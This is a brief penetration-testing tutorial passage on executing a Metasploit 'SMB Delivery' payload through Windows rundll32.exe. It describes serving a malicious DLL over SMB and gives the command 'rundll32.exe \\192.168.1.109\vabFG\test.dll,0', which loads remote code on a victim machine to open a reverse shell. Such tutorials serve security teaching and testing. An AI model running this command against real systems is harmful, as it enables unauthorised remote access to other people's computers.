Rundll32.exe is associated with Windows Operating System that allows you to invoke a function exported from a DLL, either 16-bit or 32-bit and store it in proper memory libraries.
Metasploit contains the “SMB Delivery” module which generates malicious dll file. This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads.
Now, you execute this generated malicious dll file on the victim machine with the help of rundll32.exe, you will get the reverse connection at your machine.
rundll32.exe \\192.168.1.109\vabFG\test.dll,0